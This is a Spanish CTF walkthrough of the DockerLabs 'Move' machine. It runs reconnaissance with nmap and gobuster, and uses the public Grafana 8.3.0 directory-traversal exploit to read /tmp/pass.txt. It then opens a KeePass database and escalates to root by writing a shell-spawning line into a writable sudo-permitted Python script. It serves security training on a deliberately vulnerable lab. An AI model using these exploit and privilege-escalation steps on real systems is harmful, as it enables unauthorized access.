> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/move.md).

# Move

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Move** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Extraemos el contenido del archivo comprimido con `7z`:

```bash
7z x move.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fs4V1GdAuoIzb07l6KfnU%2FPasted%20image%2020250715105545.png?alt=media&amp;token=4d8f1307-b201-4bd7-a2f6-eac905438f5e" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh`, que despliega automáticamente la máquina vulnerable en Docker:

```bash
bash auto_deploy.sh move.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FzTgRn0g4CrzbJUaDFxUs%2FPasted%20image%2020250715105622.png?alt=media&amp;token=9d8e6e50-30e6-4b60-baef-395516826318" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Verificamos que la máquina está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGVWPCJOalJqdxCEiy1c4%2FPasted%20image%2020250715105708.png?alt=media&amp;token=be0ea545-52fc-40bb-b5d9-b106d339ed6c" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos:**

* **Puerto 21:** `FTP`.
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
* **Puerto 3000:** `PPP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FfljSOOD3yLxh6jnkfSJx%2FPasted%20image%2020250715105739.png?alt=media&amp;token=32a3957b-1970-4044-a9d1-011b4b4f6d97" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p21,22,80,3000 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 21 (FTP):** vsftpd versión 3.0.3 con acceso anónimo habilitado y un directorio existente llamado `mantenimiento`.
* **Puerto 22 (SSH):** OpenSSH versión 9.6p1.
* **Puerto 80 (HTTP):** Apache 2.4.58 con la página por defecto de Apache2.
* **Puerto 3000 (Grafana):** Versión v8.3.0.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FeXeeu1rtan6UUaguFGSV%2FPasted%20image%2020250715105926.png?alt=media&amp;token=19e680d8-5a40-458b-9fd1-1c824b495a1c" alt=""><figcaption></figcaption></figure>

#### **2.4. Servicio FTP**

Nos conectamos al servicio FTP como el usuario `anonymous`:

```bash
ftp anonymous@172.17.0.2
```

Accedemos al directorio `mantenimiento`:

```bash
cd mantenimiento
```

Dentro de este directorio podemos ver un archivo llamado `database.kdbx`, el cual vamos a descargar en nuestro equipo local utilizando el siguiente comando:

```bash
get database.kdbx
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FeWj4cGaHTSEKTIXFrbUb%2FPasted%20image%2020250715110043.png?alt=media&amp;token=8acc2f43-0d3c-4639-a301-974d43f52908" alt=""><figcaption></figcaption></figure>

#### **2.5. Servicio HTTP**

Accedemos al servicio HTTP a través del navegador, introduciendo la dirección `http://172.17.0.2`. Lo que encontramos es la página por defecto de Apache2, pero no encontramos nada de información útil.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FM9ojOyvCR0ZuVfq81bVt%2FPasted%20image%2020250715110142.png?alt=media&amp;token=3e7db5aa-e2cf-4bb8-8718-b412bb63b0f8" alt=""><figcaption></figcaption></figure>

#### **2.6. Enumeración en el servicio HTTP**

Utilizamos `gobuster` para descubrir directorios y archivos ocultos:

```bash
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FYPA6dQSlBD4FenXCnIOA%2FPasted%20image%2020250715110343.png?alt=media&amp;token=fa086591-f48c-4be4-8af9-148b2d1ffdc1" alt=""><figcaption></figcaption></figure>

Encontramos la ruta `/maintenance.html`, donde aparece el siguiente mensaje:

```html
Website under maintenance, access is in /tmp/pass.txt
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHYxxWHTMvgSE54rnOlpc%2FPasted%20image%2020250715110315.png?alt=media&amp;token=f2ba3250-226f-4ea5-af09-4b5adb7aa50a" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Explotación de Grafana**

Si accedemos al puerto 3000 (`http://172.17.0.2:3000`), nos encontramos con un panel de inicio de sesión de Grafana que corresponde a la versión v8.3.0, la cual puede observarse en la parte inferior de la pantalla.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FnngD2Y7H4fFkm9Y9fbI4%2FPasted%20image%2020250715110432.png?alt=media&amp;token=0fa40510-d307-4a8a-b94f-55da79c8dd41" alt=""><figcaption></figcaption></figure>

Tras detectar que el puerto 3000 aloja una instancia de Grafana v8.3.0, buscamos vulnerabilidades conocidas con `searchsploit` que afecten a esta versión ejecutando el siguiente comando:

```bash
searchsploit Grafana 8.3.0
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fi2O7Aor6UIFarmYxUnFD%2FPasted%20image%2020250715110534.png?alt=media&amp;token=4dac7952-8c76-4a51-b6fd-caaa1df802ca" alt=""><figcaption></figcaption></figure>

Identificamos un exploit público relacionado con **Directory Traversal and Arbitrary File Read**.

Para descargarlo directamente a nuestro equipo local, tenemos que utilizar el siguiente comando:

```bash
searchsploit -m multiple/webapps/50581.py
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FbDuauvIlzCKZI2XC51Ff%2FPasted%20image%2020250715110559.png?alt=media&amp;token=832686b5-94e8-447b-9ff3-b7139c476d82" alt=""><figcaption></figcaption></figure>

Ejecutamos el exploit contra la máquina:

```bash
python3 50581.py -H http://172.17.0.2:3000
```

Accedemos al archivo que hemos encontrado anteriormente en `http://172.17.0.2/maintenance.html`:

```bash
/tmp/pass.txt
```

Obtenemos una contraseña: `t9sH76gpQ82UFeZ3GXZS`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FBTvLnie8jDJ9GAeCGv34%2FPasted%20image%2020250715110639.png?alt=media&amp;token=e7f82440-4e8b-4ebf-ab13-26bd59958e79" alt=""><figcaption></figcaption></figure>

#### **3.2. Acceso a KeePassXC**

Utilizamos la contraseña obtenida anteriormente para abrir el archivo `database.kdbx` y extraer las credenciales almacenadas en dicho archivo:

```
Usuario: freddy
Contraseña: t9sH76gpQ82UFeZ3GXZS
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGHRKOGlZPwSnCo6mZWz6%2FPasted%20image%2020250715110723.png?alt=media&amp;token=a56c1420-6fe1-4821-9bdf-457d51f8cfbd" alt=""><figcaption></figcaption></figure>

#### **3.3. Acceso por SSH**

Accedemos a la máquina como el usuario `freddy`:

```bash
ssh freddy@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fe22KOsqfkBsfo29E7Gxh%2FPasted%20image%2020250715110816.png?alt=media&amp;token=6b28f7cf-42da-4bef-b226-dcd711bacb6b" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

Una vez dentro de la máquina como el usuario `freddy`, ejecutamos:

```bash
sudo -l
```

El resultado nos indica que podemos ejecutar con **python3** el script almacenado en `/opt/maintenance.py` como **root** sin necesidad de proporcionar contraseña:

```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/maintenance.py
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FK3xY3qF9Rr1oUwet0Unp%2FPasted%20image%2020250715110856.png?alt=media&amp;token=ea88a7e3-6e8e-41e7-94f7-e0df50a154e1" alt=""><figcaption></figcaption></figure>

Revisamos el contenido del script:

```bash
cat /opt/maintenance.py
```

Y observamos que únicamente contiene:

```python
print("Server under beta testing")
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F452ngRgjEDeTT7GZFEiX%2FPasted%20image%2020250715110922.png?alt=media&amp;token=f69a5d7b-0449-4737-847d-7717a7ee55f7" alt=""><figcaption></figcaption></figure>

Consultamos los permisos de dicho archivo con el siguiente comando:

```bash
ls -l /opt/maintenance.py
```

El archivo es escribible por el usuario `freddy`, lo cual representa una oportunidad clara para introducir un código malicioso y escalar privilegios.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FOWspsIR8hCmw0BfbQW0a%2FPasted%20image%2020250715110957.png?alt=media&amp;token=f3b69b57-3782-4c12-9d1a-8ab117ef163b" alt=""><figcaption></figcaption></figure>

Aprovechamos esta configuración para modificar el script e introducir una instrucción que nos proporcione una shell como `root`:

```python
import os
os.system("/bin/sh")
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FwxHMAK4j9IdBJ4xenk0I%2FPasted%20image%2020250715111040.png?alt=media&amp;token=bcd8c25b-3e2a-49d9-9093-1f95fdd1f77b" alt=""><figcaption></figcaption></figure>

Una vez editado el script `/opt/maintenance.py`, tenemos que ejecutarlo como `root` con el siguiente comando:

```bash
sudo -u root /usr/bin/python3 /opt/maintenance.py
```

¡Con esto, accedemos a una shell con privilegios de `root`, completando la explotación de la máquina!

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FVXd7piVpkFO6Z4fUilNJ%2FPasted%20image%2020250715111114.png?alt=media&amp;token=1a2efc0f-4c9f-466b-b39b-a565263297a4" alt=""><figcaption></figcaption></figure>
